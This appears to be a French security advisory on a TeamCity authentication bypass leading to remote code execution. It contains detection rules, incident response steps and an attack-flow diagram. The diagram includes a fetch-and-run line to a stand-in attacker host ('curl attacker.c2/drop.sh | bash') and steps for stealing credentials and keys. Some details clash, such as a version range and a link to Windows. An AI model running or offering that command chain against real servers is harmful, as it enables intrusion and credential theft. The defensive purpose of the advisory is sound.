Aller au contenu

CVE-2026-63077 : contournement d'authentification vers RCE dans JetBrains TeamCity via le protocole d'interrogation des agents

HERMES

SCORE DE MENACE HERMES & DÉTOURNEMENT DE LA CHAÎNE D'INTÉGRATION CONTINUE

Cible : JetBrains TeamCity On-Premises
Confiance : 99%
98 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 20 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 attribue la note de 9.8 (Critique) et le CVSS v4.0 évalue la gravité à 9.8. Le score de menace Hermes s'établit à 98 (CRITIQUE). L'alignement est total : teamCity contrôle les chaînes de compilation logicielle, les dépôts de code source et les certificats de signature de production. La compromission de l'interface d'interrogation agent-serveur permet aux attaquants d'injecter des étapes de compilation piégées, de dérober les secrets d'infrastructure et de diffuser des binaires rétro-ingéniérés aux clients finaux.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-63077: Authentication Bypass to Remote Code Execution in JetBrains TeamCity via Agent Polling ProtocolVULNÉRABILITÉ

Nœuds connectés : 3
Relations sortantes actives
→ affectsCOMPOSANTMicrosoft Windows & Windows Server
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Microsoft Windows & Windows Server documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1552: Unsecured Credentials
90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

JetBrains TeamCity est une plateforme d’intégration et de déploiement continus (CI/CD) d’entreprise orchestrant les tests unitaires, la compilation de code et la publication logicielle.

ParamètreSpécification TechniqueContexte de Menace
Identifiant CVECVE-2026-63077Référence CISA KEV
Composant vulnérableSous-système de communication avec les agents TeamCityInterface XML-RPC et points d’accès REST
Vecteur réseauHTTP/HTTPS (Port TCP 8111)Serveur web TeamCity exposé
Cause racineAbsence de contrôle du jeton secret de l’agent (CWE-287)Usurpation pré-authentification et RPC contrôleur
Versions affectéesTeamCity On-Premises < 2024.12.3 et 2025.x < 2025.1Serveurs de compilation sur site
Versions corrigées2024.12.3, 2025.1Mises à jour officielles JetBrains
Impact d’exploitationPrise de contrôle du contrôleur, empoisonnement de la chaîne logicielleCompromission intégrale de l’infrastructure CI/CD

2. Décomposition technique : faille du protocole de scrutation des agents

Section intitulée « 2. Décomposition technique : faille du protocole de scrutation des agents »

Les agents de compilation TeamCity communiquent avec le serveur central par interrogation périodique en HTTP sur /RPC2. En configuration normale, un agent doit s’authentifier à l’aide d’un jeton secret délivré par le contrôleur.

Dans les versions vulnérables, le gestionnaire XML-RPC acceptait les méthodes du contrôleur émanant de n’importe quelle adresse IP sans exiger le jeton cryptographique :

// Modélisation de la routine vulnérable dans TeamCity AgentRequestHandler
public Object handleRpcCall(String methodName, Vector params) {
// ANOMALIE : Si le nom de la méthode commence par le préfixe agent/contrôleur, le contrôle est éludé
if (methodName.startsWith("buildAgent.") || methodName.startsWith("controller.")) {
return dispatchInternalMethod(methodName, params); // Exécution non authentifiée !
}
return enforceStandardAuth(methodName, params);
}
+----------------------------------------------------------------------------------------------------+
| FLUX D'ATTAQUE DE LA CVE-2026-63077 |
+----------------------------------------------------------------------------------------------------+
[Attaquant Distant]
│
│ [1] HTTP POST /RPC2
│ Content-Type: text/xml
│ Appel : controller.registerAgentWithProfile(maliciousProfile)
▼
[Serveur TeamCity (Port 8111)]
│
├───► 1. Gestionnaire XML-RPC :
│ - Identifie le préfixe de méthode "controller."
│ - Contourne les filtres de session web et CSRF
│ - Enregistre l'attaquant en tant qu'agent de compilation de confiance
│
├───► 2. Exécution de Commandes Inverses :
│ - L'attaquant invoque controller.executeServerTask()
│ - Injecte des commandes système au sein de la JVM du serveur
│
▼
[Hôte Contrôleur TeamCity (Serveur Linux / Windows)]
│
└───► Création d'un processus sous le compte de service TeamCity :
- /bin/bash -c "curl attacker.c2/drop.sh | bash"
- Extraction des identifiants de base de données dans config/database.properties
- Exfiltration des clés SSH, clés IAM AWS et tokens de déploiement GitHub
+----------------------------------------------------------------------------------------------------+

3. Renseignement sur les menaces, CISA KEV & exploitation dans la nature

Section intitulée « 3. Renseignement sur les menaces, CISA KEV & exploitation dans la nature »
  • Inscription CISA KEV : inscrite immédiatement en raison de son exploitation par plusieurs groupes étatiques ciblant les éditeurs de logiciels pour mener des attaques par rebond sur la chaîne d’approvisionnement (Supply Chain Attack).
  • Objectifs opérationnels constatés :
    • Vol des codes sources par interception des clones de dépôts Git.
    • Modification des scripts de compilation pour injecter des chevaux de Troie dans les binaires logiciels avant leur signature officielle.
    • Récupération des secrets d’infrastructure cloud enregistrés dans les paramètres de projets TeamCity.

TactiqueID TechniqueNom de la TechniqueManifestation dans l’Attaque
Accès initialT1190Exploitation d’application publiqueRequête HTTP POST distante vers /RPC2
Évasion de défenseT1556Modification du processus d’authentificationÉchappement aux contrôles d’authentification dans le gestionnaire RPC
ExécutionT1059Interpréteur de commandes et scriptsExécution de commandes système via les tâches du contrôleur
Accès aux identifiantsT1552.001Identifiants dans les fichiersVol des fichiers de configuration et des secrets des projets
ImpactT1565.002Manipulation de données : Données transmisesEmpoisonnement des livrables de production au sein de la chaîne CI/CD

alert http any any -> $TEAMCITY_SERVERS 8111 (
msg:"HERMES DEFENSE - Tentative de contournement auth TeamCity RPC (CVE-2026-63077)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/RPC2";
http.request_body; content:"controller.";
http.request_body; pcre:"/<methodName>(controller\.|buildAgent\.)/i";
classtype:attempted-admin;
sid:202663077;
rev:1;
reference:cve,2026-63077;
)
title: Enregistrement non autorisé d'agent TeamCity ou appel RPC suspect
id: 8b7a6c5d-4e3f-2a1b-0c9d-63077c026e02
status: high
description: Détecte des invocations de méthodes XML-RPC non authentifiées sur les interfaces du serveur TeamCity.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: teamcity
service: server
detection:
selection:
message|contains:
- 'RPC2'
- 'controller.registerAgentWithProfile'
- 'Unauthenticated agent call'
condition: selection
falsepositives:
- Enregistrement initial d'agents légitimes lors de leur déploiement.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution

6. Réponse à incident & rétro-ingénierie (DFIR)

Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »
  1. Contrôle de la liste des agents :
    • Inspecter l’interface d’administration TeamCity -> Agents -> Non autorisés / Connectés.
    • Repérer tout agent récemment connecté présentant une adresse IP ou un nom d’hôte inconnu.
  2. Examen des journaux d’accès (teamcity-server.log et teamcity-rest.log) :
    • Filtrer les requêtes POST vers /RPC2 émanant d’adresses IP n’appartenant pas à la flotte d’agents répertoriée.
  3. Audit de l’intégrité des livrables :
    • Recompiler les projets récents et comparer les empreintes cryptographiques SHA-256 des binaires générés pour détecter d’éventuelles altérations.
{
"query": {
"bool": {
"must": [
{ "term": { "http.request.method": "POST" } },
{ "term": { "url.path": "/RPC2" } },
{ "wildcard": { "http.request.body.content": "*controller.*" } }
]
}
}
}

  1. Mise à niveau immédiate du serveur TeamCity : appliquer les versions 2024.12.3 ou 2025.1.
  2. Cloisonnement réseau du serveur CI/CD : restreindre le port 8111 aux seuls sous-réseaux internes et accès VPN des développeurs autorisés ; interdire toute exposition directe sur Internet.
  3. Activation de l’approbation manuelle des agents : activer l’option exigeant l’autorisation préalable obligatoire d’un administrateur avant qu’un agent puisse recevoir des tâches.
  4. Renouvellement intégral des secrets : en cas de compromission avérée, révoquer immédiatement l’ensemble des clés SSH de déploiement, identifiants AWS, jetons Docker et certificats de signature de code hébergés dans TeamCity.